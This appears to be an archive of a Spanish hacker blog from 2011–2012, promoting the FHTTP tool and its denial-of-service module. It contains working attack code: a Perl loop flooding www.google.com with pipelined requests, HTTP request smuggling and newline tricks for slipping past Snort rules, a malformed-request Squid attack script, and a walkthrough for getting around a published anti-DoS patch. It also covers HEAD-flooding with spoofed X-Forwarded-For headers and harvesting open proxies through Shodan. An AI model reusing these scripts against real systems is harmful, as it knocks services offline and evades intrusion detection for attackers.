Los Caballeros

PHP: Que no hacer con los regex

2012-02-06T14:58:00.005-06:00

Bueno el como maneja PHP los regex tiene sus detalles... por ejemplo, no es lo mismo:

if(preg_match("/^[\w\d]+$/",$_GET['xian'])){
[...]
}

Que:

if(!preg_match("/[^\w\d]/",$_GET['xian'])){
[...]
}

Por ejemplo:

GET /echo.php?xian=00a%0a

El primero hace match... pero el segundo no... por que? el LF se toma como el fin de la linea ($) por el contrario en el segundo regex no se especifica ese carácter por lo que se abarca todo :D...

Por otro lado...

if(!preg_match("/[^\d\w\s]/",$_GET['xian'])){
[...]
}

if(preg_match("/^[\d\w\s]+$/",$_GET['xian'])){
[...]
}

Inyectando: /echo.php?xian=00a%0a0a%0axianur0%20was%20here

Ambos hacen match (tomen en cuenta que \s no es solo espacios ;) )...

Con esto podemos inyectar CRLF's entre otras cosas...

y hay mil y un bypass a esto ;)

Saludos!

Snort... recuento de hechos

2012-02-01T13:03:00.005-06:00

(Representación artística de un Snort)

Snort (Sus scrofa adorno) es una especie de mamífero (consumido por mamones) artiodáctilo de la familia Sourcefire (y primo de la Suidae). Es un animal doméstico usado en la alimentación humana. Algunas culturas lo consideran un animal sagrado debido a que creen que brinda protección contra la magia negra y la mala suerte (algunos inclusive les hacen sacrificios y les ponen altares con tal de que los proteja). A lo largo de la historia se encontraron estatuas de este animal adornando la entrada a diferentes templos.
Por otro lado algunas otras culturas lo consideran un mal augurio por lo que lo intentan evitar a toda costa.

Magia negra y su relación con snort en algunas culturas:
Hay una creencia común de que snort es un enviado del mal y que no hay forma de eliminar la mala suerte traída por este animal. Pero se han encontrados escritos antiguos donde describen como deshacerse de estas criaturas sin traer la mala suerte a ti y a todos tus descendientes (aunque algunos dicen que consumir snorts en exceso hace que se te ponga morada y se caiga por lo que preocuparse de la mala suerte a la descendencia no sería un tema de importancia).

El primer método es: tirarle sal al cerdo (antes de consumirlo se recomienda salarlo correctamente).

print $sock "\n\n\n\nGET /vuln HTTP/1.1\r\nHost: snort.org\r\n\r\n"; # agregar LF antes del request hace que snort no vea el resto, aunque no solo sirve \n también hay otros caracteres xD...

(No se enterara la deidad uri-content ;) ).

Segundo método: Que se distraiga y lo pateas por detrás (esta técnica es llama también: HTTP Request Smuggling y funciona mejor con una bota puntiaguda).
Este método no funciona con algunos snorts (que resultan ser un poco afeminados y no se distraen tan fácilmente) a menos que se le agregue sal (a la bota, pero no te la comas (a la bota)).

my $request = "GET /vuln HTTP/1.1\r\nHost: snort.org\r\n";
print $sock "POST / HTTP/1.1\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: 0\r\n".
"Host: snort.org".("\r\n"x12).
"POST / HTTP/1.1\r\n".
"Host: snort.org\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: 30".("\r\n"x12).
"1234567890".$request;

Tercer método: Envenenarlo (como se me había ocurrido antes?).
Los snort son bastante estúpidos por naturaleza (igual que la gente que los cría) por lo que no notaran el cambio en su alimentación, ademas eliminar el problema de raíz no es una mala idea.

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Blahz-DNS dostuff.php modify user attempt"; flow:to_server,established; content:"/dostuff.php?action=modify_user"; fast_pattern; nocase; http_uri; reference:bugtraq,4618; reference:cve,2002-0599; classtype:web-application-attack; sid:1742; rev:12;)

Veneno: /dostuff.php?fuck=you&action=modify_user
Veneno de dosis completa: /dostuff.php/?fuck=you&action=modify_user

Esos son algunos de los métodos mas recomendados para deshacerse de ese molesto animalejo.

Los caballeros en FreeSecurity

2012-01-28T00:41:00.003-06:00

De momento estamos confirmados dos de los miembros para dar conferencia en el evento de seguridad informática: Freesecurity.

http://freesecurity.mx/yacomas/aceptadas/

Los temas de conferencia serán:

USB Hacking
La seguridad física como un factor critico desde el ambiente domestico al empresarial. Se trataran temas de ingeniería inversa a dispositivos USB, fuzzing, 0days y muchos más...
Y el estreno de una nueva herramienta de pentesting: UAT (USB Attack Toolkit)

Seguridad en Sistemas Azules
Bluetooth es uno de esos protocolos que no se toman en cuenta cuando se realiza un pentesting, dentro de una empresa un dispositivo vulnerable puede ser fácilmente utilizado por un atacante para tomar control de información vital. Se mostraran técnicas utilizadas por atacantes así como métodos para mantenernos seguros de este tipo de ataques.

Ambas conferencias se mostraran desde el punto de vista de un atacante y del usuario.

Saludos!

Squid Proxy... yo no lo utilizaría

2012-01-22T14:19:00.003-06:00

Bienvenido al Restaurante de "Los Caballeros", el día de hoy tenemos un especial de calamar, esperamos que todos nuestros platillos sean de su agrado.

De entrada tenemos un platillo un poco pesado: Calamares bien rellenos a la "Los Caballeros" (platillo para DoS personas).

Este platillo es muy similar a FHTTP sobre una cama de Apache o IIS, es un poco fuerte al gusto, la diferencia es que en este caso tiene calamar y esta aderezado con un poco de Perl.

use IO::Socket::INET;
my $host = "www.google.com";
my $requests = 10;
my $payload = ("GET http://".$host."/ HTTP/1.1\nConnection: keep-alive\n\n")x($requests);
while(1) {
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => 'http(80)',Proto => 'tcp');
die("Se quemo!") unless($sock);
print $sock $payload;
close($sock);
}

De platillo fuerte tenemos: Calamar del Infierno.
Tal y como su nombre lo indica es un calamar muy raro, bastante difícil de atrapar (seguramente a los pescadores les dio en verdadero dolor de cabeza), debido a que ha desarrollado grandes capacidades para ocultarse de diferentes formas en su habitad natural. Pero solo por hoy lo traemos para que usted lo deguste.

use IO::Socket;
use threads;
use threads::shared;
$squid = "localhost";
$squidport = "3128";
$path = "/index.php";
$host = "localhost";
$host =~ s/([^\t])/$1\t/g;
$pay = "\tGET\thttp://".$host.$path."?basura=\tHTTP/\rGET /echo.php\r\nGET nanananananananananananananananabatmanbatman HTTP/\rHost: squid-house\nCatch: me\rif\ryu\rcan\nConnection: keep-alive\n\n";
print "Sending...\n";
my $sock = new IO::Socket::INET(
  PeerAddr => $squid,
  PeerPort => $squidport,
  Proto => 'tcp',
  );
die "Se quemo! $!\n" unless $sock;
print $sock $pay;
while(<$sock>) {
  print $_;
}
close($sock);

De postre se le apetece un helado?

Gracias por su visita y vuelta pronto :)

Avatar de los caballeros (FHTTP)

2011-12-04T16:43:00.002-06:00

Agrego unos avatares si a alguien le interesa ;)...

256x256:

128x128:
Clic en la imagen para ver el original ;)...

Saludos!

Wiki FHTTP

2011-11-14T16:14:00.002-06:00

Se creo un wiki en el cual se agregara toda la documentación y papers de esta herramienta, también se utilizara para dar informes acerca de parches y actualizaciones.

Se necesitan redactores y traductores :P...

La url es: https://sourceforge.net/apps/mediawiki/fhttp/index.php?title=Main_Page

HTML5 (Canvas) + JS + Esteganografía + Cross-Domain

2011-10-15T19:03:00.008-05:00

Se me ocurrió en uno de esos #MomentosEureka xD

Entre las cosas que HTML5 integra se encuentra el elemento canvas el cual nos permite trabajar a "bajo nivel" con imágenes, entonces se me ocurrió si podemos leer los valores de los pixeles de las imágenes usando canvas y JS, y ademas tenemos que img no esta limitado por dominio por lo que se puede usar para cross-domain...

Entonces se me ocurrió cambiar pixeles de una imagen (o crear una imagen nueva) colocando char por char dentro del mensaje, podría colocar hasta 3 chars por pixel pero si la cosa es que no se note el mensaje o insertar en una imagen sin que esta se altere mucho entonces que sea 1 char por pixel ;)...

entonces tenemos que un pixel esta formado por 3 valores (RGB = Rojo, Verde, Azul) por lo que se pueden meter 3 valores pero por lo que explique arriba no tiene mucho caso :P

Entonces una forma divertida de hacerlo sin alterar tanto la imagen sería:
RGB = (Ascii del char, 0, ascii del char) el por que pase el verde a 0 mas que nada es para no confundir pixeles de la imagen con pixeles del mensaje, obviamente pueden haber otros pixeles de la imagen con esa configuración por lo que no sería mas problema que cambiar el verde de 0 a 1 (lo cual no es un tono que se pueda reconocer a simple vista :P).

<?php
/*
By Xianur0
http://hackingtelevision.blogspot.com
xianur0.null [at] gmail.com
*/
$file = "imagen.jpg"; /*El por que estoy insertando el mensaje dentro de una imagen existente en lugar de crear una? por que es divertido y menos sospechoso para muchas cosas xD. Ah recomiendo usar imágenes mas o menos grandes para que los pixeles editados no se noten mucho o para poder enviar mensajes mas grandes ;) */
$mensaje =  "xianur0 was here";
function dibujarpixel($im,$x,$y,$color) {
  $color = imagecolorallocate($im, $color[0],$color[1],$color[2]);
  imagefilledrectangle($im, $x, $y, $x, $y, $color);
}
list($ancho, $alto, $tipo, $atributos) = getimagesize($file);
$pixeles = $ancho*$alto;
if(strlen($mensaje) > $pixeles) die("Imagen demasiado pequeña (o mensaje demasiado grande)!");
$proporcion = intval(($pixeles/strlen($mensaje)));
$im = "";
preg_match("/(\w+)$/",$file,$match);
switch(strtolower($match[1])){
  case 'jpg':
      case 'jpeg':
      $im = imagecreatefromjpeg($file);
  break;
  case 'png':
      $im = imagecreatefrompng($file);
  break;
}
for($x=0;$x<$ancho;$x++){
  for($y=0;$y<$alto;$y++){
      $pixel = imagecolorat($im, $x, $y);
      $colors = imagecolorsforindex($im,$pixel);
      $r = $colors["red"];
      $g = $colors["green"];
      $b = $colors["blue"];
      if($r == $b && $g == 0) { // Si el pixel puede interferir lo cambiamos un poco :P
          dibujarpixel($im,$x,$y,array($r,1,$b));
      }
  }
}
$p = 0;
for ($i = 0; $i < strlen($mensaje); $i++) {
  $y = intval($p/$ancho);
  $x = intval($p-($y*$ancho));
  dibujarpixel($im,$x,$y,array(ord($mensaje{$i}), 0, ord($mensaje{$i}))); // cambiamos este pixel por (ascii del char, 0, ascii del char) = (r,g,b)
  $p += $proporcion;
}
header('Content-type: image/png');
imagepng($im); // Imprimimos esta imagen editada como png :P
imagedestroy($im);
?>

y ahora para leer dichos datos desde JS + Canvas:

<html>
<head>
<title>PoC Cross-Domain by Xianur0</title>
<script language="javascript">
function cargaContextoCanvas(idCanvas){
 var elemento = document.getElementById(idCanvas);
 if(elemento && elemento.getContext){
    var contexto = elemento.getContext('2d');
    if(contexto){
       return contexto;
    }
 }
 return FALSE;
}
window.onload = function(){
 var ctx = cargaContextoCanvas('micanvas');
 var cadena = "";
 if(ctx){
    var img = new Image();
    img.src = 'png.php';
    img.onload = function(){
      ctx.drawImage(img, 0, 0);
  var ele = document.getElementById('micanvas');
  var canvasData = ctx.getImageData(0, 0, ele.width, ele.height);
  for (var idx = 0; idx < (ele.width*ele.height)*4; idx+=4)  {
      var r = canvasData.data[idx + 0];
      var g = canvasData.data[idx + 1];
      var b = canvasData.data[idx + 2];
      var a = canvasData.data[idx + 3];
      if(r == b && g == 0)
        cadena += String.fromCharCode(b);
  }
  alert(cadena);
    }
 }
}

</script>
</head>
<body>
<canvas id="micanvas" width="900" height="900">
Tu navegador no soporta canvas.
</canvas>
<script>
</script>
</body>
</html>

Como verán es algo bastante simple, mientras el carácter que queramos enviar no pase de 255 (ascii) no debería de haber problema :P.

Como dije arriba esta forma se puede usar para estenografía o bien para pasar datos de un dominio a otro (el same origen policy da dolor de cabeza a muchos desarrolladores web por lo que esta sería una opción bastante viable en muchos casos :P).

Es una forma muy simplona pero solo es un PoC xD...

Saludos!

Breaking the patch - FHTTP

2011-09-01T17:28:00.003-05:00

Mi amigo NataShell publico un parche contra la FHTTP (que también se publico aquí en el blog), como se dijo al inicio es solo un parche temporal, ahora verán el por que :P

Parche: http://natashell.esdebian.org/47316/defendiendonos-fhttp

primero comenzamos con el primer detalle visible:

iptables -A INPUT -p tcp -m tcp --dport 80 -m limit --limit 10/sec -j ACCEPT



se limita a 10 conexiones por segundo, por suerte solo necesitamos esa cantidad (o menos) para saturar un servidor ;)

LimitRequestBody 102400

Description: Restricts the total size of the HTTP request body sent from the client.

LimitRequestFields 50



Description:

Limits the number of HTTP request header fields that will be accepted from the client

LimitRequestFieldSize 8190

Description: Limits the size of the HTTP request header allowed from the client

LimitInternalRecursion 5

Description: Determine maximum number of internal redirects and nested subrequests.

LimitRequestLine 8190
Description: Limit the size of the HTTP request line that will be accepted from the client.

Bueno por suerte los únicos que verdaderamente nos afectan son:
LimitInternalRecursion y

LimitRequestBody.

Debido a los siguiente: el internalrecursion se puede entender como que solo nos va a dejar cargar (en este caso) 5 veces la misma pagina.

y LimitRequestBody nos pone un limite de cuantos bytes podemos enviar y por tanto de cuantos requests se pueden realizar.

Vamos a solucionarlo ;)

No voy a usar la FHTTP completa para esta solo la MN que colgué en seclists.
La razón: es mas ligera y mas fácil de editar para esta "explicación" xD.

si editamos un poco el request que se va a enviar de la siguiente forma:

$paquete .= join "",$method," /",$filepath," HTTP/1.1\nHost: ",$host,"\nAccept-Encoding: gzip,deflate\nIf-None-Match: ",$randsemilla,"\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\nConnection: Keep-Alive\n\n";

Estaríamos reduciendo el tamaño por request y haciendo básicamente el mismo daño, pero utilizando menos banda (mas request por conexión :P).

Ahora respecto a lo otro, tenemos que apache (aparentemente) procesa por URL, no exactamente por archivo, de modo que podríamos usar el {mn-fakeip} de la siguiente forma:

perl mn.pl http://localhost:8080/SMF/?{mn-fakeip} 8 100 190.10.101.1

y listo pasado el parche xD (en ese caso son 8 conexiones, no las 10 que nos permite, pero en fin incluso con eso en muchos casos basta :P).

Pero si tengo que reconocer que no tiene el mismo potencial que tendría sin el parche, pero igual funciona (parcialmente) xD...

Saludos! y a esperar que el amigo NataShell saque otro parche :P.

FHTTP + Shodan = Proxy List :P

2011-08-23T14:00:00.002-05:00

Cazando proxy list con Shodan y FHTTP

Primero necesitamos agregar el soporte para shodan:

https://sourceforge.net/projects/fhttp/files/Extra/

se bajan los modulos en la carpeta del FHTTP y esa es toda la instalacion.

Tambien tenemos un ejemplo usando ese modulo:

http://sourceforge.net/projects/fhttp/files/Extra/Examples%20-%20Shodan/finder.pl/download

Vamos a usar ese script.
Pero antes vamos a explicar un poco el funcionamiento, no del modulo de shodan, del script.

Inicializamos:

my $shodan = shodan->new();

$shodan->login($user,$password);

como tal no es necesario logearse, pero lo hacemos para que de mas resultados (mas de 1 pagina).

y buscamos:

my @tmpenlaces = $shodan->buscar($busqueda,$page);

$page es el numero de pagina que queremos que nos retorne.

($proto,$host,$hostheader,$path,$puerto) = &tools::parseurl($enlace);

$sock = IO::Socket::INET->new(PeerAddr => $host,

	PeerPort => $puerto,

	Timeout => 1,

	Proto => 'tcp');

if(!$sock) {

	$i = 2;

	$down++;

	next;

}

Parseamos los enlaces y armamos un socket, en caso de que falle lo registramos como "caido".

$maketunnel = tools::maketunnel($sock,$hosttest,$porttest,0,0);

Nota: los dos ultimos valores son: debug (0 o 1) y version (version de HTTP)

Intentamos crear un tunnel HTTP (mediante "CONNECT"), tools lo hace todo automatico para nosotros ;)... $maketunnel sera 1 si se creo correctamente, 0 si no y 2 si hay un 404 (que esta tomando CONNECT como GET y puede ser un honneypot :P).

De otro modo cerramos el socket, no nos sirve bajarnos a ese nivel para probar un proxy normal.

$paquete = http->new("GET","http://".$hosttest.(($puerto != 80 ) ? (":".$puerto) : "")."/","1.1");

$paquete->agregarencabezados(0,@encabezados);

my %resp = $paquete->enviar($host,$puerto);

Usamos el generador de peticiones (http.pm) y finalmente lo demas es cosa de checar los encabezados/contenido y determinar si el proxy hizo la conexion correctamente (para eso se usa el argumento regex).

Ahora a jugar...

linux-7nli:/home/xianur0/fhttp-v1.3 # perl finder.pl squid "" "" google.com 80 Google

Comprobando dependencias...

Felicidades: FHTTP funcionando al 100%!

Tunnel: google.com:80

Target: 9

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[!] Proxy HTTP: 209.xxx.1x1.xxx:xx

[x] No se puede crear el tunnel: HTTP/1.0 400 Bad Request!

[x] No se puede crear el tunnel: HTTP/1.0 400 Bad Request!

[!] Proxy HTTP: 222.xxx.1x1.xxx:xxx

[x] No se puede crear el tunnel: HTTP/1.1 501 Not Implemented!

[x] No se puede crear el tunnel: HTTP/1.1 501 Not Implemented!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[!] Proxy HTTP: 189.xxx.x68.xxx:xxx

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[!] Proxy HTTP: 186.xxx.2x2.xxx:xxx

[x] No se puede crear el tunnel: HTTP/1.0 407 Proxy Authentication Required!

[x] No se puede crear el tunnel: HTTP/1.0 407 Proxy Authentication Required!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[!] Proxy HTTP: 203.xxx.1x9.xxx:xxx

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[!] Proxy HTTP: 202.xxx.17x.xxx:xxx

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[!] Proxy HTTP: 186.xxx.15x.xxx:xxx

Down: 1

Honeypot: 0

CONNECT: 0

Others: 7

FHTTP Cheat Codes

2011-08-15T20:48:00.003-05:00

Para los que no estén enterados hoy agregamos soporte multi-idioma a #FHTTP la cual pueden encontrar en el sourceforge oficial: FHTTP.

my @cheats = ("--proxy","--tunnel-http","--proxy-list","--crlf-req","--crlf-res","--verbose","--lang");

Bueno ahí están los "Cheat Codes", vamos desde lo simple a lo complicado:

--crlf-res=CRLF - En este podemos especificar los caracteres que se van a usar en lugar del CRLF en las respuestas del proxy al navegador (por ejemplo: CR sin LF, LF sin CR o LF+CR).
--crlf-req=CRLF - Lo mismo que el de arriba pero en los request's.
--proxy=ip:puerto - El proxy o primer nodo del encadenamiento a usar.
--proxy-list=archivo.txt - El proxy list (solo útil en encadenamientos).
--tunnel-http=1 - Al darle el valor de 1 va a intentar crear encadenamiento (si hay proxy list) o un tunnel simple (usando el valor de --proxy) mediante el metodo CONNECT de modo que es requerido que los nodos especificados soporten CONNECT (y los puertos a usar), otra cosa que hay que tener en cuenta es que se requiere especifica --proxy al realizar encadenamientos es decir, el valor de dicho "cheat code" se utilizara como el primer nodo del encadenamiento y el resto se tomara del proxy-list.
--lang=en - Le decimos que establezca por defecto el idioma en (ingles) o es (español), para agregar mas lenguajes tienen que editar dic.pm (en la versión multi-idioma).
--verbose=0 - Establecemos el modo verboso (solo valido por el momento en el modulo de proxy) en 0, de momento los valores soportados son: 0-3.

Otros "cheat codes" sirven para desactivar o "forzar activar" ciertos módulos del interprete, por ejemplo trabajar sin Gtk2 o sin IO::Socket::SSL o incluso sin soporte para compresiones.

Ejemplo:
perl fhttp.pl no-Gtk2 --lang=en

Por otro lado para volver a activar se quita el no.

perl fhttp.pl Gtk2

Estos últimos cheat's no llevan el "--" y son "recursivos" es decir solo basta agregarlos 1 vez como argumento y se guardara en "config.fhttp" y se usara para la siguiente "ejecución".

Todos estos argumentos se deberán usar después de los argumentos que se le pasan al modulo a usar por ejemplo:

perl fhttp.pl 0 http://google.com.mx/ 0 --lang=en

Dudas o comentarios: xianur0.null[at] gmail.com

Saludos!

FHTTP Hacking - Cap 1

2011-08-15T19:33:00.002-05:00

Hey creo que comenzare a necesitar alguien que ayude a traducir las publicaciones por que de ahora en adelante van a ser bastantes y la idea es tener un publico "global" xD...

Vamos a comenzar a tirar algunas ideas un poco extrañas pero que en la practica pueden ser de utilidad.

Convirtiendo la FHTTP en un link spider.

Para que un link-spider? la duda surge... no ya enserio un link spider que pueda ir junto con la navegación del "usuario" (no nos complicaremos con términos xD) puede ser algo interesante, es decir si tienes todo lo que se esta enviando al navegador del usuario no tienes que preocuparte tanto por un armar un sistema que se encargue de desarmar la web como la leería el navegador, es decir si nosotros nos topamos con una web que utiliza ajax para cargar las paginas... o peor aun al weybmaster se le dio por armarla en flash :S... es difícil que un spider común extraiga los enlaces... pero si lo combinamos con un proxy, de un modo u otro vamos a pescar los enlaces que se vayan a cargar :D...

Antes de continuar es recomendable que previamente conocieran el motor avanzado del proxy

Comenzamos:

La FHTTP tiene algunas opciones muy curiosas entre las que se encuentra un simple script para extraer los enlaces, entre las ventajas que tiene dicho script es que corrige path transversal y otras trampas usadas para "saltar" los link spiders, en caso de que eso no sea suficiente pueden editarlo manualmente :P.

sub geturls($html,$proto,$host,$path);

Ese es el "proto" de dicha función, pero realmente nada mas es necesario pasar html, lo demás se usa para auto-completar url's (relativas) y obtener las completas.

Vamos a lo simple:

sub spider {

my $rcontenido = $_[0];

my $paqenvio = $_[1];

my %links = tools::geturls($rcontenido);

while(my ($link,$veces) = each(%links)) {

open LOG, ">reportes.txt";

print LOG $links."\n";

close(LOG);

}

return $rcontenido;

}

Pero si no nos gusta tener solo las url's relativas... podemos jugar un poco mas:

sub spider {

my $rcontenido = $_[0];

my $paqenvio = $_[1];

my @lineas = split(/[\r\n]+/,$paqenvio); # $lineas[0] = req line

my ($method,$url,$version) = split(/\s+/,$lineas[0]);

my ($proto,$host,$hostheader,$path,$puerto) = tools::parseurl($url);

my %links = tools::geturls($rcontenido,$proto,$hostheader,$path);

while(my ($link,$veces) = each(%links)) {

	open LOG, ">reportes.txt";

	print LOG $links."\n";

	close(LOG);

}

return $rcontenido;

}

Pero... aun no siento que sea un spider completo... digo ya extrae los links... pero que hay de las imágenes?

Como saber cuando el navegador esta cargando una imagen y no un enlace?... la forma mas fácil sería tomarla del código fuente como hacemos con los enlaces o no?... pero no quiero, quiero atrapar las imágenes al vuelo :P, siendo un poco mas claro atrapar la consulta a la imagen, no el html que tiene el enlace a la imagen, el por que?, como dije al inicio las webs no siempre van a estar en simple html, también se puede integrar ajax (JS xD) o flash que va a hacer la labor de cargar las imágenes pero sin que nosotros podamos ver en plano la dirección en el código fuente (html) por ello vamos a hacer un pequeño "hack" (por así llamarle) al funcionamiento del navegador, como distinguimos un request a un archivo de texto/html de otro a una imagen?.

Accept: image/*

Al leer ese encabezado con dicho valor... queda bastante claro que la prioridad del navegador es bajar una imagen, desde luego el valor puede variar pero casi siempre comienza de esa forma (image/).

	

sub spider {

my $rcontenido = $_[0];

my $paqenvio = $_[1];

my @lineas = split(/[\r\n]+/,$paqenvio);

	if($paqenvio =~ /[\r\n]+Accept: image\//i) { # buscamos el header

		my ($url) = ($lineas[0] =~ /^\w+([\s\t]+)([^\s\t]+)/); #extraemos la url

		foreach $header (@lineas) { # recorremos los headers

			if(($header =~ /Host:\s+([^\r\n]+)/)) { #buscamos el header host y su valor :P

				$host = $1;

				last;

			}

		}

		if($url !~ /^http/) { # en caso de que no sea una url completa, agregamos lo que falta

			$url = "http://".$host.(($url !~ /^\//) ? "/" : "").$url;

		}

		open IMAGENES,">>imagenes.txt"; # abrimos el log

		print IMAGENES $url."\n"; # guardamos

		close(IMAGENES); # cerramos

	}

return $rcontenido;

}

Desde luego nos falta conectar nuestra función a la FHTTP, tan simple como:

my @rcontenidocallbacks = (

                           rcontenidocall,

                           spider,

                       );

Happy Hacks!

FHTTP MN != Slowloris

2011-08-08T21:42:00.002-05:00

Últimamente me preguntan mucho si el modulo MN (DoS Tool) de la FHTTP es lo mismo que Slowloris... y no, no es así xD...

Como funciona Slowloris?

Esta herramienta (desarrollada por RSnake) traba de la siguiente forma:
Cliente -> Servidor (Establece la conexión).
Cliente -> Servidor (Envía parte del encabezado)
Ejemplo:
GET / HTTP/1.1
Host: google.com
x-a: 1
(Espera cierto tiempo y continua)
x-a1: 2
(Espera cierto tiempo y continua)
x-b2: 7
(etc...)

Es decir el servidor esta recibiendo de forma parcial el request, por lo cual se mantiene activa la conexión, slowloris en este caso lo que tiene que hacer es crear múltiples conexiones y hacer lo mismo, de modo que se satura el servidor (tendrá muchas conexiones activas al mismo tiempo).

Desventajas:
Al enviar contenido parcial no es muy factible usar un Proxy HTTP convencional para "esconder" (es decir hacer ligeramente mas difícil que nos localicen xD), debido a que muchos (proxy's) intentan leer todo el request (hasta recibir doble LF/CRLF) de modo que al no terminar de recibir no establece la conexión con el servidor y nuestro ataque se queda en el proxy, y bien pueden DoSear al proxy xD.
Solución: usar una VPN xD...
Ademas esta el hecho de que tu también mantienes un numero igual de conexiones a las que mantiene el servidor.

Como funciona MN?
Que pasa cuando enviamos un GET o un HEAD al servidor?
En el caso del HEAD:

HEAD / HTTP/1.1
Host: destino

HTTP/1.0 200 OK
Date: Tue, 09 Aug 2011 02:51:47 GMT
Server: Apache/2.2.8 (Unix) PHP/5.2.12
X-Powered-By: PHP/5.2.12
Set-Cookie: PHPSESSID=a3afdbf074f0d0ef7a6782962455468d; path=/
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Tue, 09 Aug 2011 02:51:48 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

Me viene a la mente... y esa cookie?, obviamente no la genero apache, es decir es una "session" PHP, por lo cual quiere decir que PHP esta trabajando al hacer el HEAD... pero no se genera de forma autónoma, por lógica la genero el index, en otras palabras se esta procesando el index (todo para generar los headers), lo cual quiere decir que si no queremos que el servidor nos responda todo el contenido (no gastar nuestra banda) pero que aun así procese el archivo únicamente tenemos que enviar HEAD's.

Pero eso nos basta para denegar un servidor?, lamento decirles que no xD...

Conexiones Persistentes y Pipelining:

Que es exactamente conexiones persistentes?
una conexión persistente o keep-alive quiere decir que podemos realizar varios request en la misma conexión sin cerrarla y volver a establecerla.

Que significa Pipelining?
Significa que podemos enviar múltiples request "concatenados" sin esperar que el servidor nos responda previamente.
Ejemplo:

GET / HTTP/1.1
Host: google.com

GET / HTTP/1.1
Host: google.com

HTTP/1.1 301 Moved Permanently
[...]

HTTP/1.1 301 Moved Permanently
[...]

Como podrán notar nos respondió a las dos consultas que enviamos en el orden que las enviamos, pero después de que nosotros termináramos de enviar todas las consultas.

Lo que va haciendo es como vaya terminando de procesar nos va a enviar las respuestas... o no?, al menos eso debería pero por lo menos apache no lo hace... y no tengo tiempo de listar todos los demás servidores que no lo hacen :P.
A que nos lleva esto?
Enviamos una serie de request concatenados por una sola conexión (pipelining), pero cortamos la conexión antes de que nos termine de responder el servidor.
O bien podemos enviar masivo los paquetes y ver cuantos nos llegan xD...
Pero eso no es todo ;)...
Que le pasa a apache cuando recibe cierto numero de consultas?, despliega hilos, es decir hilos listos para procesar las consultas... pero si el usuario solo realizo una conexión pero envió... digamos 300 consultas... que le pasara a apache? lo que tenemos es que el mismo apache se ahoga en hilos :P

Ah se me pasaba, no es solo cuestión de apache, funciona igual con IIS y una infinidad de servidores web mas... a decir verdad nunca me he encontrado con un servidor que no sea vulnerable... por lo que esto es un problema bastante grave :P...
Como podemos hacer aun mas grande el dolor de cabeza del administrador?
Combinando el potencial :D...

Fastidiando un poco mas:

HEAD /$file HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0
CLIENT-IP: $ipinicial
X-Forwarded-For: $ipinicial
If-None-Match: ThisWebSuck!-Todo-dicho! xD
If-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT
Accept: */*
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Content-Length: 0
Connection: Keep-Alive

Primero se resalta el uso de los encabezados CLIENT-IP y X-Forwarded-For, lo cuales en una infinidad de CMS's se toman como la "verdadera ip" del visitante, por lo cual se usan en muchas consultas a base de datos, en el caso de Joomla y SMF es sorprendente la cantidad de consultas adicionales que se realizan a base de datos cuando el valor de CLIENT-IP/X-Forwarded-For cambia :P... ademas de que al registrar las IP's de los visitantes se generan registros extra.
También podemos ver encabezados para fastidiar un poco a la cache...
y Accept-Encoding: gzip,deflate, el cual lo agregue con la idea de forzar un poco mas al servidor, que pasa cuando enviamos un request al servidor sin dicho encabezado?, ignora la compresión (normalmente) lo cual son menos recursos (procesamiento) del servidor consumidos, al agregar dicho encabezado el servidor debería realizar la compresión... pero espera... que no usamos HEAD?, Para que comprimir lo que no se va a enviar?, para gastar recursos obviamente :P...

Bueno ahora les agradecería no volvieran a preguntar si MN es lo mismo que Slowloris gracias :P...

Saludos!

FHTTP v1.3 Liberada

2011-08-07T18:30:00.003-05:00

Por fin les puedo decir que me complazco en anunciar la versión 1.3 de esta herramienta :P
Esta vez si es funcional xD...

Cambios (mayores):
* Se corrigieron bugs de manejo del url encode en el proxy (se realizaba decode de forma innecesaria).
* Se re-diseño por completo el motor del proxy para acelerar su funcionamiento.
* Se agregaron reglas.
* Se eliminaron fugas de memoria (no se cerraban a tiempo las conexiones entre otras cosas).
* Funciona en cualquier plataforma con Perl (tiene la capacidad de trabajar aunque no tenga todas las dependencias, es decir trabaja adaptándose a lo que se tiene).
* Se agregaron muchas funciones que en publicaciones siguientes comentare :P...

Créditos:
@LightOS (Roberto Salgado) por ayudarme como betatester a encontrar una infinidad de bugs :P.
@angelusniger (Angelus Inflectum) por aguantarnos en su casa (y alimentarnos cuando llegamos sin avisar) xD.
@lil_lilitu por prestarnos sus equipos para... casi romperlos haciendo pruebas xD...
Seguramente se me esta pasando agregar a muchas personas a la lista sin las cuales esta herramienta no sería lo que es. A todos ellos Gracias!

Descargar

Solución temporal contra FHTTP - Apache/2.x

2011-07-26T15:57:00.003-05:00

Les comparto la solución de mi amigo Marcos Ricardo Schejtman Rubio (CEO de Nekasys) para reducir el impacto que puede tener esa herramienta contra nuestros servidores:

Reglas del Apache::::

-------------------------------------------

LimitRequestBody 102400

LimitRequestFields 50

LimitRequestFieldSize 8190

LimitInternalRecursion 5

LimitRequestLine 8190

--------------------------------------------

Regla de ipTables:

-A INPUT -s IP_ADDRESS -p tcp -m tcp --dport 80 -m limit --limit 10/sec -j ACCEPT

Saludos!

